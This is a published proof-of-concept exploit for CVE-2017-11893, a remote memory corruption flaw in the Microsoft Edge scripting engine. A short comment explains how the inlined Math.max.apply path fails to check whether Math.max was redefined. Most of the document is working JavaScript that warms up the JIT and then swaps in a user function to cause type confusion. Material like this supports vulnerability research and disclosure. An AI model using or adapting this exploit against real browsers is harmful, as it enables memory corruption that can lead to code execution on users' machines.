Microsoft Edge Scripting Engine CVE-2017-11893 Remote Memory Corruption Exploit

/*
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".
Note: Math.min as well.
PoC:
*/
function opt(arr, arr2) {
    arr[0] = 1.1;
    Math.max.apply(Math, arr2);
    arr[0] = 2.3023e-320;
}
function main() {
    let arr = [1.1, 2.2, 3.3, 4.4];
    for (let i = 0; i < 10000; i++) {
        opt(arr, [1, 2, 3, 4]);
    }
    Math.max = function () {
        arr[0] = {};
    };
    opt(arr, {});  // can't handle, calls Math.max
    print(arr[0]);
}
main();
